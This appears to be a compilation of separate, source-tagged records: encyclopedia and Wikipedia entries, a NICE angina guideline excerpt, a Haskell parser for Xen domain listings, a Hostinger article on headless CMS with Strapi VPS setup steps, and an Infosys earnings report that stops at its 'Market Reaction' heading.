In 2008, scientist J. Michael Fay published a map of the old growth redwoods based on his transect of the entire redwood range. The southernmost tree is about 15 ft from Highway 1. The reserve is 7 mi north of San Carpoforo Creek. It is unmarked and is not open to the public. The botanical area is classified as a special interest area under Title 36, Code of Federal Regulations, Section 294.1(a) due to its unique botanical resources for public and scientific purposes. | WIKI |
Dam Tang
Dam Tang or Dam-e Tang or Damtang may refer to:
* Dam Tang, Chaharmahal and Bakhtiari
* Dam Tang-e Masri
* Dam Tang Chendar Chavil
* Damtang, Bagh-e Malek, Khuzestan Province
* Dam-e Tang-e Bavary, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Chahen, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Darrehna, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Kap, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Landeh, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Miyan Tangan, Kohgiluyeh and Boyer-Ahmad Province
* Dam-e Tang-e Molghun, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Nal Ashkenan-e Mahtab, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Orveh, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Sarna, Kohgiluyeh and Boyer-Ahmad Province
* Dam-e Tang-e Shahid Deli Bajak, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Sheykh Sorkeh, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Sulak, Kohgiluyeh and Boyer-Ahmad Province
* Dam Tang-e Tikab, Kohgiluyeh and Boyer-Ahmad Province | WIKI |
RecommendationClearly explain stable angina to the person, including factors that can provoke angina (for example, exertion, emotional stress, exposure to cold, eating a heavy meal) and its long-term course and management. Where relevant, involve the person’s family or carers in the discussion.
Encourage the person with stable angina to ask questions about their angina and its treatment. Provide opportunities for them to voice their concerns and fears.
Discuss the person’s, and if appropriate, their family or carer’s ideas, concerns and expectations about their condition, prognosis and treatment. Explore and address any misconceptions about stable angina and its implications for daily activities, heart attack risk and life expectancy.
Advise the person with stable angina to seek professional help if there is a sudden worsening in the frequency or severity of their angina.
Discuss with the person the purpose and any risks and benefits of their treatment.
Explore and address issues according to the person’s needs, which may include:
• self-management skills such as pacing their activities and goal setting
• concerns about the impact of stress, anxiety or depression on angina
• advice about physical exertion including sexual activity.
Advise people that the aim of anti-anginal drug treatment is to prevent episodes of angina and the aim of secondary prevention treatment is to prevent cardiovascular events such as heart attack and stroke.
Relative values of different outcomesThis review was conducted to eleicit the information needs of patients. As such the outcomes could not be pre—determined. The GDG did consider patient neds might include information on: the condition, the symptoms, prognosis, treatment (choice of treatment and side effects), need and type of rehabilitation, prevention, activities for daily living, QoL.
Evidence based on qualitative studies confirmed that the following information themes are considered important by stable angina patients: causes of angina and management, identification and management of risk factors, organisation of medical services, physical activity, information to family members, education on stress management, forum/groups for discussion of the condition, self-management programmes, management of anger and depression, preference for educator for delivery of information.
Trade off between clinical benefits and harmsThe studies reviewed do not report on harms arising from patient information. The GDG considered that patients had a right to information about their condition and did not believe there were harms that would outweigh benefits.
Economic considerationsNo economic evidence was found. There is a negligible cost of staff time associated with providing information to the patient. However the benefits are likely to offset the minimal costs.
Quality of evidenceEvidence from 4 moderate quality studies. One UK study. No specific evidence on needs of subgroups was found.
Other considerationsThe GDG used evidence from the studies, and their own experiences as professionals and patients to develop the recommendations about information required for patients. The GDG considered that information should be individualised to each patient and that exploring a patient’s concerns and ideas about their condition and its treatment is pivotal in addressing their information needs. The GDG were also aware of resources such as those developed by the British Heart Foundation, which provide information on the heart and heart conditions that will be useful to patients. The GDG noted that people interviewed were concerned about stress and anger and that these concerns underlie common perceptions about angina and heart disease. The GDG considered that information and advice on stress, anxiety, and depression is not necessarily required by all patients but healthcare professionals may need to address these areas with many patients.
The GDG considered it particularly important that patients be advised about appropriate physical activity including sexual activity. The GDG considered it important that patients were given information about risks and benefits of treatments.
The GDG considered it important that patients were informed what different drugs and revascularisation strategies would achieve e.g. improve symptoms and this recommendation was informed by the evidence reviews of interventions.
From: 5, Patient Information
Cover of Stable Angina
Stable Angina: Methods, Evidence & Guidance [Internet].
NICE Clinical Guidelines, No. 126.
National Clinical Guidelines Centre (UK).
Copyright © 2011, National Clinical Guidelines Centre.
Apart from any fair dealing for the purposes of research or private study, criticism or review, as permitted under the Copyright, Designs and Patents Act, 1988, no part of this publication may be reproduced, stored or transmitted in any form or by any means, without the prior written permission of the publisher or, in the case of reprographic reproduction, in accordance with the terms of licences issued by the Copyright Licensing Agency in the UK. Enquiries concerning reproduction outside the terms stated here should be sent to the publisher at the UK address printed on this page.
The use of registered names, trademarks, etc. in this publication does not imply, even in the absence of a specific statement, that such names are exempt from the relevant laws and regulations and therefore for general use.
The rights of the National Clinical Guidelines Centre to be identified as Author of this work have been asserted by them in accordance with the Copyright, Designs and Patents Act, 1988.
PubMed Health. A service of the National Library of Medicine, National Institutes of Health. | ESSENTIALAI-STEM |
Statistics
| Branch: | Tag: | Revision:
root / src / Ganeti / Hypervisor / Xen / XmParser.hs @ b8585908
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{-# LANGUAGE OverloadedStrings #-}
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{-| Parser for the output of the @xm list --long@ command of Xen
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-}
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{-
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Copyright (C) 2013 Google Inc.
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This program is free software; you can redistribute it and/or modify
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it under the terms of the GNU General Public License as published by
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the Free Software Foundation; either version 2 of the License, or
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(at your option) any later version.
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This program is distributed in the hope that it will be useful, but
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WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program; if not, write to the Free Software
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Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
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02110-1301, USA.
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-}
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module Ganeti.Hypervisor.Xen.XmParser
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( xmListParser
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, lispConfigParser
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) where
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import Control.Applicative
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import Control.Monad
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import qualified Data.Attoparsec.Combinator as AC
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import qualified Data.Attoparsec.Text as A
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import Data.Attoparsec.Text (Parser)
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import Data.Char
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import Data.List
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import Data.Text (unpack)
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import qualified Data.Map as Map
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import Ganeti.BasicTypes
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import Ganeti.Hypervisor.Xen.Types
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-- | A parser for parsing generic config files written in the (LISP-like)
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-- format that is the output of the @xm list --long@ command.
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-- This parser only takes care of the syntactic parse, but does not care
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-- about the semantics.
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-- Note: parsing the double requires checking for the next character in order
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-- to prevent string like "9a" to be recognized as the number 9.
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lispConfigParser :: Parser LispConfig
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lispConfigParser =
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A.skipSpace *>
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( listConfigP
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<|> doubleP
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<|> stringP
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)
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<* A.skipSpace
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where listConfigP = LCList <$> (A.char '(' *> liftA2 (++)
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(many middleP)
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(((:[]) <$> finalP) <|> (rparen *> pure [])))
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doubleP = LCDouble <$> A.double <* A.skipSpace <* A.endOfInput
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innerDoubleP = LCDouble <$> A.double
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stringP = LCString . unpack <$> A.takeWhile1 (not . (\c -> isSpace c
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|| c `elem` "()"))
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wspace = AC.many1 A.space
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rparen = A.skipSpace *> A.char ')'
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finalP = listConfigP <* rparen
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<|> innerDoubleP <* rparen
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<|> stringP <* rparen
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middleP = listConfigP <* wspace
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<|> innerDoubleP <* wspace
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<|> stringP <* wspace
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-- | Find a configuration having the given string as its first element,
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-- from a list of configurations.
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findConf :: String -> [LispConfig] -> Result LispConfig
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findConf key configs =
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case find (isNamed key) configs of
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(Just c) -> Ok c
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_ -> Bad "Configuration not found"
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-- | Get the value of of a configuration having the given string as its
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-- first element.
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-- The value is the content of the configuration, discarding the name itself.
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getValue :: (FromLispConfig a) => String -> [LispConfig] -> Result a
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getValue key configs = findConf key configs >>= fromLispConfig
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-- | Extract the values of a configuration containing a list of them.
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extractValues :: LispConfig -> Result [LispConfig]
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extractValues c = tail `fmap` fromLispConfig c
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-- | Verify whether the given configuration has a certain name or not.fmap
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-- The name of a configuration is its first parameter, if it is a string.
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isNamed :: String -> LispConfig -> Bool
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isNamed key (LCList (LCString x:_)) = x == key
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isNamed _ _ = False
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-- | Parser for recognising the current state of a Xen domain.
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parseState :: String -> ActualState
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parseState s =
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case s of
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"r-----" -> ActualRunning
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"-b----" -> ActualBlocked
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"--p---" -> ActualPaused
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"---s--" -> ActualShutdown
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"----c-" -> ActualCrashed
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"-----d" -> ActualDying
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_ -> ActualUnknown
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-- | Extract the configuration data of a Xen domain from a generic LispConfig
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-- data structure. Fail if the LispConfig does not represent a domain.
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getDomainConfig :: LispConfig -> Result Domain
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getDomainConfig configData = do
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domainConf <-
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if isNamed "domain" configData
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then extractValues configData
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else Bad $ "Not a domain configuration: " ++ show configData
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domid <- getValue "domid" domainConf
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name <- getValue "name" domainConf
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cpuTime <- getValue "cpu_time" domainConf
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state <- getValue "state" domainConf
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let actualState = parseState state
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return $ Domain domid name cpuTime actualState Nothing
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-- | A parser for parsing the output of the @xm list --long@ command.
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-- It adds the semantic layer on top of lispConfigParser.
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-- It returns a map of domains, with their name as the key.
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-- FIXME: This is efficient under the assumption that only a few fields of the
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-- domain configuration are actually needed. If many of them are required, a
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-- parser able to directly extract the domain config would actually be better.
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xmListParser :: Parser (Map.Map String Domain)
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xmListParser = do
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configs <- lispConfigParser `AC.manyTill` A.endOfInput
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let domains = map getDomainConfig configs
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foldResult m (Ok val) = Ok $ Map.insert (domName val) val m
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foldResult _ (Bad msg) = Bad msg
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case foldM foldResult Map.empty domains of
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Ok d -> return d
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Bad msg -> fail msg | ESSENTIALAI-STEM |
Catholic Encyclopedia (1913)/Archdiocese of Benevento (Beneventana)
(BENEVENTANA).
Benevento, the ancient Beneventum, the principal city of the province of the same name in Campania, is situated on the River Calore, and contains a population of 25,000. It was founded at a very early period by the Samnites, who named it Maleventum. In 275 B.C. the Romans, having conquered Pyrrhus not far from there, took possession of the city and changed its name to the present form. In 268 B.C. a Roman colony was established at Beneventum, which was enlarged and beautified by Augustus and other emperors. The arch of Trajan (porta aurea), entirely of Parian marble, still bears eloquent witness to the munificence of that emperor. In 545 the city was captured and destroyed by Totila, King of the Goths, but was rebuilt in 589 by the Lombard King Autharis, and made the seat of a duchy. In 1047 it fell into the hands of the Normans, who, however, were forced to relinquish it by Emperor Henry III in 1053.
The city, with the surrounding territory, was then turned over to Pope Leo IX, a relative of the emperor, in payment of the annual tribute rendered the Holy See by the Church of Bamberg; but shortly afterwards it was reoccupied by the Normans. The pope thereupon placed himself at the head of a powerful army "ut saltem humano terrore resipiscerent, qui divina iudicia minime formidant" (that those who fear not the judgments of God may at least repent through human dread; Ep. VII ad Constantin. Monomach.). The opposing forces met at the Dragonara, and after a severe struggle the papal troops were put to flight, and the pope himself was forced to retire to Civitella. There Leo wrought more by word of mouth than the arms of all his soldiers had been able to accomplish. The Norman leaders swore fealty to the sovereign pontiff, conducted him back to Benevento with great honour, and continued from that time forward the most devoted and loyal champions of the Holy See. This warlike expedition of Leo IX called forth the severe criticism of St. Peter Damian.
Thenceforward Benevento was a part of the territory of the Holy See, which was always represented there by a delegate. From 1769 to 1774 it was in the possession of Ferdinand I of Naples and in 1806 Napoleon made Talleyrand Duke of Benevento. In 1814 it again came under the jurisdiction of the Holy See; and from 1838 to 1841 Joachim Pecci (later Leo XIII) was civil delegate to this part of the papal state in the heart of the Kingdom of Naples and won great praise for his wise administration and his stern repression of brigandage. In 1860 Benevento was annexed to the Kingdom of Italy. Most noted among the citizens of Benevento during ancient times are: Papinianus, the jurisconsult, and Arbilius, the grammarian; Popes Felix IV, Victor III (Dauferio), and Gregory VIII (Alberto di Morra) who were natives of Benevento; Cardinal Pietro Morra, Giovanni da Castrocelo, Dionisio Lorerio, Nicolò Coscia, Camillo Domenico, Gennaro de Simone, Bartolommeo Pacca, and Carlo Maria Pedieini.
Benevento is the seat of an archdiocese, which has as suffragans the Dioceses of Alife, Ariano, Ascoli, and Cerignola, Avellino, Boiano, Bovino, Larino, Lucera, San Severo, Sant' Agata de' Goti, Telese, and Termoli.
According to local tradition, the Christian Faith was first preached there by St. Potinus, at the command of St. Peter the Apostle. At a later period, during the persecution of Diocletian, we find mentioned as bishop of this city St. Januarius, who together with Proculus, his deacon, and two laymen, was imprisoned and beheaded at Pozzuoli in 305. His relics are preserved in the Cathedral of Naples, which also contains the remains of St. Agrippinus who was Bishop of Benevento. In 929 Benevento was raised to the dignity of a metropolitan see.
The cathedral, founded at a very early period was rebuilt in 1692, after being destroyed in the earthquake of 1688. The interior, divided into five naves, has fifty-four marble columns, which furnish a magnificent perspective. Mention should also be made of the two thrones near the high altar, carved about 1311 by a sculptor named Nicola. Of special historical interest is the so-called "altar of peace", erected in memory of the peace concluded at Benevento between Clement VII and Charles V, after the famous sack of Rome (1527). The façade is entirely of a yellowish marble; the great central door is of bronze, of Byzantine workmanship, brought from Constantinople in the twelfth century. In the spacious vestibule are the tombs of the Lombard dukes. The bell tower, constructed almost entirely of the fragments of ancient monuments, was begun by Bishop Capo di Ferro (1254).
The church of St. Sophia, in form a great rotunda, is also deserving of mention. It dates back to the Lombard epoch, if indeed it is not a pagan temple converted into a church. The cupola is particuiarly remarkable, being set upon six antique Corinthian columns. The church of Santa Maria delle Grazie is held in great veneration; adjoining it is a monastery the abode first of Benedictines, but since 1450 of monks of the Minor Observance. The statue of the Madonna with the Child in her arms is said to have been brought from Greece by St. Artelais, niece of Narses, general of the army of Justinian.
A number of councils were held at Benevento: those of 1059, 1061, and 1087, in the last of which Victor III excommunicated Guibert, the antipope; that of 1091, in which the excommunication was renewed, and a number of disciplinary canons formulated; that of 1108 against lay investitures; those of 1113 and 1117, the latter against the Antipope Burdinus; others in 1119, 1314, 1470, 1545, as recorded by Harduin, in the seventh volume of his collection of the Councils. In the following centuries the Archbishops of Benevento frequently held provincial synods. Gian Battista Foppa (1643) and Vincenzo Maria Orsini, O. P. (1686), later Pope Benedict XIII, did much to restore and beautify the churches of the city.
Among the bishops famous in the history of the Church of Benevento, passing over some saints of uncertain date, are: St. Marcianus (533), St. Zenoe (543), St. Barbatus (663), who had a golden serpent, an object of idolatrous worship of the Lombards, melted and made into a sacred paten which was preserved up to the time of the French invasion in 1799; Amaldo, a Franciscan monk (1533); Gaspare Colonna, generous in the decoration of churches, who, at the time of the Colonna consipiracy against Pope Eugenius IV, was imprisoned with the others, but quickly released; Giovanni della Casa, a distinguished writer and Italian orator (1544); Cardinal Giacomo Savelli (1560), founder of the seminary; Cardinal Pompeio Arrigoni (1607); Cardinal Sinibaldo Doria (1731) who suffered much from the intrigues of Nicolò Coscia, administrator under the above-mentioned Archbishop Orsini. Doria founded a great library, subsequently enlarged by Cardinal Francesco Maria Banditi in 1775; Cardinal Domenico Spinucci (1796); Cardinal Camillo Siciliano di Rende (1879).
The Archdiocese of Benevento has a population of 590,500 Catholics, with 138 parishes, 460 churches and chapels, 839 secular priests, 70 priests belonging to religious orders, 350 seminarists, 40 lay brothers, and 120 members of female religious orders.
CAPPELLETTI. Le chiese d'ltalia (Venice, 1844), III 9; Annuario Eccl. (Rome, 1907), 292-297; STEFFANO BORGIA, Memorie Storiehe della pontificia città di Benevento (Rome, 1763fi9); MEOMARTINI, I Monumaii e le opere d'arte della città di Benevento (ibid., 1889-92); BARBIER DE MONTAULT, ''Le polais archiép. de Bénévnet in Revue de l'art Chrètien'' (1875), III. 345-385; ZIGARELLI, Storie di Benevento (Naples, 1860).
U. BENIGNI | WIKI |
Template:Did you know nominations/Nun bitten wir den Heiligen Geist
Nun bitten wir den Heiligen Geist
* ... that the first stanza of the hymn Nun bitten wir den Heiligen Geist, asking the Holy Spirit for the right faith most of all, is documented in German in the 13th century, the later three relate to faith, love and hope?
* Reviewed: Johann Poppe
Created/expanded by Gerda Arendt (talk). Self nom at 10:49, 27 October 2011 (UTC)
* Hook: Short enough, but not cited entirely. Fairly interesting.
* Article: New enough, long enough. Several bits of information need references, including most of two paragraph and a whole paragraph at the bottom. No images. Paraphrasing seems fine (1 [with lyrics showing as bold], 2 (mostly lyrics again), and 3) seem okay.
* Summary:Symbol question.svg Referencing issues need to be fixed. Crisco 1492 (talk) 08:02, 10 November 2011 (UTC)
* Thanks for looking! The referencing was difficult. Typically bach-cantatas has a page on text and one on tune for a chorale Bach used, - not for this one. I had asked in German about it and received the information I added about the old German. I asked for a ref and got it, but found it too German, but kept it in case someone asked. You asked, so I included it now. The compositions based on the hymn are all in Wikipedia, some standard works by Buxtehude and Bach, the latter actually the reason to write the article. I hesitate to blow up the hymn article by specific refs to these compositions, but will if I have to. I added the Blendinger as less known. --Gerda Arendt (talk) 12:31, 10 November 2011 (UTC)
* Pictogram voting keep.svg Good to go. AGF on German refs and offline ref. Crisco 1492 (talk) 13:21, 10 November 2011 (UTC) | WIKI |
Talk:Keith Schwab
Tag Summary
Added two tags. Article is essentially in the form of a resume at the moment and there is a significant amt of original research (the subject himself has evidently edited art heavily). I will try to address these after a waiting period – art will likely be trimmed substantially. Please do not remove tags unless associated issue is demonstrably resolved. Respectfully, Agricola44 (talk) 23:44, 9 March 2011 (UTC).
Overhaul
It's been several months with no resolution of problems, so I've made the following changes to address these: (1) removed statements for which I could find no corroborating sources (like relatives, religious belief, obscure awards, etc.), (2) rearranged so that it doesn't give the impression of being a CV, especially redacting non-encyclopedic information, (3) added several supporting references for his work. Agricola44 (talk) 17:01, 20 June 2011 (UTC). | WIKI |
Nigel Wilson (baseball)
Nigel Edward Wilson (born January 12, 1970) is a Canadian former Major League Baseball player from Oshawa, Ontario. He played for the Florida Marlins, Cincinnati Reds, and Cleveland Indians. He also spent six highly successful seasons in Nippon Professional Baseball with the Nippon Ham Fighters and Osaka Kintetsu Buffaloes. He now owns a sports training facility in Ajax, Ontario.
Career
Wilson signed with the Toronto Blue Jays in 1988 as an amateur free agent and was promoted as high as Double-A in the Toronto organization.
Wilson was then drafted by the Florida Marlins in the 1992 MLB Expansion Draft as their first pick (second overall, behind David Nied by the Colorado Rockies).
Wilson played a total of 22 major league games with the Marlins (1993), Cincinnati Reds (1995), and Cleveland Indians (1996), failing to get a hit as either a Marlin or a Red, going 0-for-23 in his time with these teams, with 15 strikeouts and no walks or HBPs.
After an 0-for-2 start with the Indians (with 1 strikeout), Wilson recorded his first major league hit in his 26th at bat. His major league career ended shortly thereafter; Wilson retired with 3 MLB hits in total.
In 1997, he joined the Nippon Ham Fighters of the Japanese Pacific League after being released from the Indians.
On June 21, 1997, he hit home runs in 4 consecutive at bats, becoming only the second player in Japanese baseball history to ever attain this mark after Sadaharu Oh, ending that season with a league-leading 37 home runs.
In 1998, he greatly improved his clutch hitting, leading the league with 33 home runs and 128 RBIs to win the Best Nine Award for designated hitter.
In 1999, he played only 6 games due to a knee injury, but the team decided not to release him at the end of the season. The team's decision proved to be correct, as Wilson rebounded in 2000, hitting 37 home runs with 89 RBIs to win his second Best Nine Award.
Wilson sustained another injury in 2001, and left the team after playing only 34 games that year then was picked up by the Osaka Kintetsu Buffaloes the following year, but could not repeat his earlier success. He left Japan at the end of 2002, and signed a minor league contract with the New York Yankees organization, but did not make it into a major league roster.
Wilson is remembered as one of the best non-Japanese players ever to play for the Nippon Ham Fighters, along with Tony Solaita and Sherman Obando.
Personal
Wilson's father was a cricket player from Trinidad.
Wilson resides in Ajax, Ontario with his wife, Natalie Wilson and their three children, Morgan, Paris and Quinton.
He also has an older daughter, LaToya Forever, a YouTube personality who and cast member of The Real Housewives of Atlanta.
Wilson has owned and run the Competitive Edge sports training facility in Ajax since 2008.
Wilson has coached many successful college players. | WIKI |
What Is a Headless CMS, and How Is It Different From Traditional CMS?
What Is a Headless CMS, and How Is It Different From Traditional CMS?
Headless CMS is an innovative content management system designed for modern sites. Unlike a traditional CMS, it separates the content infrastructure from the presentation layer, offering enhanced flexibility and control over the deployment of digital content.
We’ll explore how headless content management systems are changing content delivery across various digital channels, providing a robust foundation for managing and distributing digital content efficiently.
Download Glossary For Web Beginners
A headless CMS is a content management system that decouples content storage from its presentation layer, focusing on back-end content management and delivery via application programming interfaces (APIs). Its architecture allows content to be stored in a content repository and delivered to any digital channel.
This API-driven content management system lets content editors manage and publish content without worrying about the design or layout. Additionally, it streamlines the creation of headless websites and content hubs.
Headless vs Traditional CMS
First, let’s explore how a headless content management system works compared to a traditional CMS approach.
A headless CMS focuses solely on back-end content management and makes content accessible via an API for display on any device. In contrast, traditional CMSs are tied to a specific presentation layer, often limiting the content’s flexibility and reach.
Key differences between a headless CMS vs traditional CMS include:
• Content separation – the headless approach separates the content from its presentation in a headless website, while a traditional CMS connects them.
• Flexibility – a headless CMS offers more flexibility in presenting content, from a headless eCommerce website to other platforms, compared to the more rigid structure of traditional CMSs.
• Scalability – the API-driven approach of headless CMS facilitates scalability across digital channels, unlike a traditional CMS whose front-end dependencies may limit it.
• Development speed – a headless CMS can accelerate development cycles as front-end developers can work independently of the back end. Meanwhile, front-end and back-end development are more interdependent with a traditional CMS.
• Personalization and integration – headless CMS allows for a more personalized user experience and easier integration with other digital tools and platforms. Traditional CMS setups are often more limited due to their predefined presentation layer.
Suggested Reading
Besides CMSs, there are website builders that allow you to create websites more easily. Read our article to learn the differences between website builders and CMSs.
Key Features of Headless CMS
Here are the core features of headless CMSs that are designed to alter how users consume content.
Content Management and Delivery
In headless CMS, content management and delivery are pivotal, especially with an omnichannel content strategy. This ensures consistent delivery across multiple channels, streamlining uniformity in structured content while catering to diverse platforms.
Content creation and publishing are therefore streamlined, allowing seamless updates without per-platform adjustments. Tools like real-time editing, collaborative authoring, and content versioning are crucial.
These features foster a dynamic environment for easy content creation, management, and display. They also boost collaboration, allowing contributors to work together efficiently, irrespective of location.
Scalability and Performance
Headless CMS is built for scalability, handling increasing content and traffic with ease. It can manage growing numbers of digital platforms and landing pages, allowing businesses to display content across platforms consistently without performance issues.
For example, eCommerce platforms can handle peak seasons and product updates efficiently. Similarly, other digital platforms like news websites using headless CMS can publish breaking news quickly across multiple channels during traffic surges.
Hostinger’s web hosting plans enhance this scalability, offering robust infrastructure that supports the dynamic needs of a headless CMS environment. Hostinger allows businesses to start with a plan that fits their initial needs and then seamlessly upgrade as their operations expand.
This ensures businesses always have the necessary resources to maintain optimal performance, especially when testing the website’s speed using a tool like Google PageSpeed Insights.
Hostinger web hosting banner
Security Aspects
The separation of the front end and back end in headless CMS benefits security aspects by limiting attack vectors. By decoupling the content management and front-end presentation layer attached, vulnerabilities in one area don’t compromise the other.
Using a headless CMS can significantly enhance eCommerce websites’ security by isolating the transactional elements from content presentation and delivery, helping reduce the risk of data breaches.
In other website types, such as news platforms, headless CMS helps secure sensitive journalistic content by separating it from the public-facing site, mitigating the impact of potential cyber-attacks.
Headless CMS platforms often employ security features such as OAuth for secure API access, SSL encryption for data transmission, and robust user authentication protocols. These measures, alongside the architectural separation, contribute to a safer environment for content distribution and management.
API-Driven Approach and Flexibility
The API-first approach involves designing applications with APIs as the primary interface for interaction and functionality. This ensures system adaptability, scalability, and support for various front-end applications.
Using an API-first CMS with headless technology allows for seamless integration and delivery of content structures across multiple platforms, including websites, mobile apps, and IoT devices.
This flexibility lets the same content stored in a CMS delivered via Content API, such as GraphQL or RESTful API, to meet each platform’s specific requirements. These requirements may include assigning user roles, managing webhooks, and importing and exporting content modeling.
Successful API integrations have been seen in industries ranging from retail, where product information is synchronized across online stores and mobile applications, to smart home devices, where user interfaces display dynamic content. This ensures consistent and efficient cross-platform content delivery.
Where Is Headless CMS Used?
Headless CMS is widely adopted across various industries for its ability to decouple content management from content delivery.
In the media sector, it enables swift content updates across different platforms. Similarly, eCommerce benefits from headless CMS by providing consistent product information across web and mobile apps.
In education, headless CMS facilitates the distribution of learning materials across digital experience platforms. This ensures students can access needed information on any device or platform.
Moreover, modern web development with headless CMS enables pairing with technologies like React and Angular for dynamic, responsive web content.
React, with its efficient updates and rendering, enables highly interactive user interfaces (UIs). Combined with headless CMS, it dynamically displays content via APIs, supporting seamless updates without page reloads.
Likewise, Angular offers a structured framework for scalable apps. Integrated with headless CMS, you can develop highly customizable platforms for various content needs, from simple websites to complex eCommerce platforms.
Overview of the Top Headless CMS Platforms
Employing headless CMS solutions offers distinct advantages tailored to various requirements, from enterprise-level management and scalability to flexibility and developer control.
Keep in mind that choosing the best headless CMS requires a thorough evaluation based on your specific project needs and goals.
Here are the top CMS platforms with headless technology to consider:
Crownpeak
Crownpeak's official homepage
Crownpeak, ideal for large enterprises, excels in compliance and governance, suiting industries with strict regulations. Its cloud-native digital experience platform provides advanced optimization and personalization tools, catering to complex needs.
Contentful
Contentful's official homepage
Known for its developer-friendly approach, Contentful provides a flexible, API-first environment to manage content independently. It integrates well with modern stacks, ideal for dynamic, omnichannel digital experiences.
Contentful is also capable in scenarios that demand rapid deployment and iteration, such as marketing campaigns and content-driven applications.
Strapi
Strapi's official homepage
Strapi offers extensive customization due to its open-source, self-hosting nature. This provides users complete control over data sources and infrastructure, which is ideal for projects needing tight security or specific governance.
It is particularly well-suited for projects that require a high degree of customization or integration with existing systems, such as Jamstack sites.
Coremedia
Coremedia's official homepage
Coremedia provides comprehensive content editing tools tailored for enterprises aiming to create immersive digital experiences. It integrates well with various commerce and marketing platforms, allowing for a cohesive content and commerce strategy.
This solution is ideal for organizations looking to blend content-rich storytelling with eCommerce functionality, such as retail brands and media companies.
Integrating Headless CMS with Web Hosting Solutions
Integrating a headless CMS with reliable web hosting ensures smooth operations and seamless content delivery. Some open-source headless CMSs like Strapi need hosting with Node.js support and full-root access for server connections via SSH.
Hostinger’s VPS hosting service offers a Strapi VPS template, allowing you to set up a headless CMS environment and deploy APIs with ease. We also provide full-root support, which is crucial for integrating front-end frameworks or static site generators with the CMS.
Follow these steps to install the Strapi template on Hostinger VPS:
1. Log in to your Hostinger account and access the VPS dashboard.
2. Navigate to Settings → OS & Panel → Operating System from the dashboard’s left sidebar.
Accessing the Operating System menu from the hPanel's VPS dashboard
1. In the Change Your Operating System section, select Applications.
2. Choose Ubuntu 22.04 64bit with Strapi and click Change OS.
Selecting the Ubuntu 22.04 64bit with Strapi template in the hPanel's VPS
1. A pop-up window will appear. Check the acknowledgment box and select Confirm.
2. Set up a new password for CloudPanel access and click Confirm.
Creating a new password for CloudPanel access
Please wait for the installation process to complete within 15 minutes. Once done, use the Strapi access link provided to log in and create a new admin user.
Strapi access login information displayed on the Operating System page in hPanel's VPS dashboard
That’s it. You’re now ready to craft your content-rich API with Strapi on your Hostinger VPS.
It’s also a good idea to follow some best practices for a smooth headless CMS integration process, including:
• Environment configuration – adapt your server and runtime to your application’s needs by considering factors like traffic and data processing.
• Secure your deployment – implement security measures such as SSL encryption, secure database connections, and firewall configurations.
• Optimize performance – configure caching, use a content delivery network (CDN), and optimize images and assets to achieve faster load times.
• Regular updates – keep Strapi, Node.js, and other dependencies up-to-date to benefit from the latest features and security patches.
• Backup and recovery – implement a robust backup strategy to protect your data and ensure you can quickly recover it in case of any issues.
Conclusion
As headless CMS becomes an increasingly popular solution, it highlights a significant shift in managing content that offers better flexibility and control. As businesses evolve, the demand for more adaptable and scalable CMS platforms grows.
Headless CMS is a preferable solution for businesses in delivering dynamic, multi-channel experiences. Leveraging this type of CMS platform ensures your content management practices are robust and adaptable to keep up with updates and changes.
If you plan to adopt a headless CMS infrastructure, ensure to choose a reliable hosting provider and platform with powerful resources and ample features. To start, consider using the open-source Strapi with Hostinger’s scalable VPS hosting solution.
Headless CMS FAQ
This section will answer the most common questions about headless CMS.
What’s the Difference Between Headless CMS and Decoupled CMS?
A decoupled CMS architecture separates the back end and front end but includes a presentation layer. Conversely, a headless CMS interface delivers content via an API, focusing on back-end management and offering greater content management flexibility.
How to Know if I Need a Headless CMS?
Consider a headless CMS if you need to deliver content across multiple platforms, seek a modern tech stack, or require scalable content management. The right headless CMS would be ideal for innovative, future-proof projects.
Do I Need Advanced Development Skills to Use a Headless CMS?
Advanced development skills aren’t essential for using headless CMS due to its user-friendly interface and “what you see is what you get” (WYSIWYG) editor for creating content. However, customization and integration with other technologies might require some technical expertise.
Author
The author
Ariffud Muhammad
Ariffud is a Technical Content Writer with an educational background in Informatics. He has extensive expertise in Linux and VPS, authoring over 200 articles on server management and web development. Follow him on LinkedIn. | ESSENTIALAI-STEM |
Infosys Tops EPS Estimates, Plunges on Revenue and Guidance
Infosys (NYSE: INFY ) has become the punching bag of choice on Wall Street as the week comes to a close. Although it topped estimates on the EPS front, it has taken a nosedive on its weak revenue and guidance.
The Bangalore, India-based firm posted fourth quarter EPS of $0.77, up 3.3 percent year-over-year. It beat the Wall Street consensus of $0.74 per share.
Fourth quarter revenue soared 18 percent to $1.91 billion, but fell short of expectations of $1.99 billion.
Fiscal 2013 EPS grew 13 percent to $3.02, edging estimates of $2.99.
Full-year revenue jumped nearly 20 percent to $7.39 billion, but narrowly missed analysts' hopes of $7.45 billion.
Strong Growth in All Segments
Infosys hit a grand slam during the fourth quarter with strong revenue growth in all segments.
The company's manufacturing segment grew most at 23.5 percent during the fourth quarter and 28.2 percent in fiscal 2013. Its retail, consumer product group, logistics, life sciences and healthcare segment came in at a close second, climbing around 23 percent in the quarter and 24.8 percent versus fiscal 2012.
Meanwhile, the financial services and insurance segment also saw double-digit growth, finishing up nearly 17 percent for the quarter and 15.6 percent for the year.
Infosys' energy, utilities, communication and services segment was the only one that didn't experience a double-digit increase during the quarter, but still posted a solid 9.6 percent gain. For the year, it joined all other segments with double-digit growth, rising 12.4 percent.
New Director
On April 11, Infosys' board of directors appointed Leo Puri as additional director. Puri is also a senior advisor at Indian management consulting firm McKinsey & Co.
Dividend
Infosys' board of directors recommended a final dividend of $0.49 per share, subject to approval at the company's annual meeting on June 15.
Weak Guidance
According to The Times of India , Infosys has forecasted conservative revenue growth for fiscal 2014. While analysts projected growth as high as 12 percent, the outsourcing magnet predicts sales will climb six to 10 percent, as notes The Times of India.
Market Reaction
